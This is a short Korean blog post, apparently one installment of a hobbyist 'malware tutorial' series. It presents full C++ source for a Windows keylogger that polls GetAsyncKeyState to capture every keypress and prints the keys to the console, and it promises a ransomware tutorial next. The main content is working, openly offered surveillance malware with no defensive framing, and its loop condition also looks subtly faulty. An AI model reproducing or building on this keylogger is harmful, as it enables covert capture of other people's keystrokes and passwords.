🧼C, C++/기초및 입문

키로거 만들기 C++

Mawile 2021. 1. 29.
728x90

최신글

https://mawile.tistory.com/257

 

해킹도구 개발 | 키로거(Keylogger) 이론및 개발실습

🔥 소개 안녕하세요! 오랜만에 해킹툴 개발강좌가 돌아왔습니다!! 이번 시간에는 속도측면에서 좀 더 강화된 설계를 가지고 돌아왔습니다. 옛날에 올린 키로거관련 포스팅입니다. https://mawile.ti

mawile.tistory.com


개발환경 >> Visual Studio

언어 >> C++20

운영체제 >> Windows10

 

 

 

안녕하세요..!

이번에는 키로거를 만들게 되었습니다.

키로거는 만들기 엄청 간단합니다.

이글과는 상관없지만, 현재 다음 악성코드 강좌는 랜섬웨어만들기가 될것같아요~!

기대해주세요~~

 

 

{[ 소스코드 ]}

#include <iostream> //c++stdio
#include <windows.h> //GetAsyncKeyState

#define CLICK_EVENT (-32767)

void keyLog(char c) {
	if(c == VK_SHIFT) std::cout << "[Shift]" << std::endl;
	else if (c == VK_CONTROL) std::cout << "[Control]" << std::endl;
	else std::cout << c << std::endl;
}

int main() {
	while(true)
		for (char c = 0; c < 255; c++)
			if (GetAsyncKeyState(c) == CLICK_EVENT) keyLog(c);
}

 

 

 

진짜 ㅋㅋㅋㅋ

이번꺼는 엄청간단합니다.

 

다음강좌에서는 랜섬웨어만들건데

c#으로할지 c++로 할지고민입니다.

 

저는 c++로하는게 더 편하긴한데

c#이 그래픽적으로는 c++ 발라가지고.. 흠...

(2021-12-24, 글 수정하고있는 나: 아니구요. c++이 더좋습니다.)

 

 

 

 

 

 

728x90

댓글